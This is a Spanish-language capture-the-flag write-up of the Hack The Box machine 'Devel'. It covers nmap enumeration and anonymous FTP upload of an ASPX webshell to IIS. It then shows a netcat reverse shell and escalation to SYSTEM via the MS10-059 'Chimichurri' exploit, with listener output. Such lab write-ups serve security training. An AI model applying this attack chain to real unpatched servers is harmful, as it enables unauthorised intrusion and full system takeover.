Información de la máquina.
Contenido | Descripción |
---|---|
OS: | |
Dificultad: | Facil |
Puntos: | 20 |
Lanzamiento: | 15 Mar 2017 |
IP: | 10.10.10.5 |
Primera sangre de usuario: | pzyc0 |
Primera sangre de system: | pzyc0 |
Como siempre comenzaremos con un escaneo a los 65535
puertos de la máquina para poder encontrar cuales son los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts devel.htb -Pn --min-rate 3000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-26 18:48 CDT
Nmap scan report for devel.htb (10.10.10.5)
Host is up (0.18s latency).
Not shown: 65533 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 44.18 seconds
Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
intrusionz3r0@kali:~$ nmap -sCV -p21,80 -oN targeted devel.htb -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-26 19:12 CDT
Nmap scan report for devel.htb (10.10.10.5)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.85 seconds
El escaneo determino lo siguiente:
- Puerto 21 con servicio
FTP
con el usuario Anonymous por defecto. - Puerto 80 con servicio
HTTP
con un IIS versión 7.5.
Enumeración FTP.
Comenzaremos enumerando el servicio FTP.
1
intrusionz3r0@kali:~$ ftp devel.htb
Con solo revisar la estructura me doy cuenta de algo interesante, al parecer el servicio FTP
esta vinculado con el servicio HTTP.
Vamos a comprobarlo.
Enumeración HTTP.
Se supone que la estructura del FTP es la siguiente:
1
2
3
4
5
6
7
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
03-17-17 05:37PM 184946 welcome.png
226 Transfer complete.
Vamos a intentar acceder a la imagen welcome.png
.
Como pueden observar pudimos acceder a la imagen, lo que comprueba mi teoría.
Ahora vamos a ver si podemos subir archivos al servicio FTP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
intrusionz3r0@kali:~$ echo "Intrusionz3r0" > test.txt
intrusionz3r0@kali:~$ ftp devel.htb
Connected to devel.htb.
220 Microsoft FTP Service
Name (devel.htb:intrusionz3r0): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put test.txt
local: test.txt remote: test.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
15 bytes sent in 0.00 secs (64.5306 kB/s)
Eso significa que nosotros podemos subir una shell en aspx
para poder ejecutar comandos a nivel de sistema.
Shell como el usuario iis apppool\web
Rápidamente me muevo una copia de cmdasp.aspx
que viene incluida en kali Linux, la muevo a mi directorio de trabajo, después la subimos al servicio FTP y accedemos a esta mediante el navegador.
Bien, ya podemos ejecutar comandos.
Lo que haremos a continuación será levantar un servidor samba que comparta el binario de nc.exe
para directamente ejecutarlo desde mi servidor samba.
1
2
3
4
5
6
7
intrusionz3r0@kali:~$ rlwrap nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.14.20] from devel.htb [10.10.10.5] 49179
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>
¡¡Eureka!! Tenemos shell.
Post-Enumeración
Comienzo a enumerar la máquina y me doy cuenta de algo interesante cuando reviso la información del sistema.
El sistema operativo es Windows 7 y este no esta actualizado por lo que es muy probable de que le falte algún parche de seguridad.
Para comprobarlo voy a copiarme la salida del comando systeminfo
y la voy a pasar a mi máquina.
Después me descargare el siguiente repositorio: Windows-Exploit-Suggester.
Una vez descargado, actualizamos la base de datos y ejecutamos el análisis.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
intrusionz3r0@kali:~$ sudo ./windows-exploit-suggester.py --update
[*] initiating winsploit version 3.3...
[+] writing to file 2020-08-27-mssb.xls
[*] done
intrusionz3r0@kali:~$ sudo ./windows-exploit-suggester.py --database 2020-08-25-mssb.xls --systeminfo sysinfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 179 potential bulletins(s) with a database of 137 known exploits
[*] there are now 179 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 32-bit'
[*]
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done
Esto me arrojara un montón de exploit que podemos usar para esta máquina.
El que mas destaca es el siguiente: MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
Rápidamente realizo una busqueda en google y encuentro el siguiente exploit: MS10-059.
Lo descargo, me monto un servidor con samba compartiendo el Chimichurri.exe
y ejecuto el exploit directamente desde mi servidor con samba.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
intrusionz3r0@kali:~$ rlwrap nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.14.20] from devel.htb [10.10.10.5] 49190
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\system
c:\windows\system32\inetsrv>hostname
hostname
devel
c:\windows\system32\inetsrv>
¡¡Somos nt authority\system!!
Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.
¡Muchas Gracias!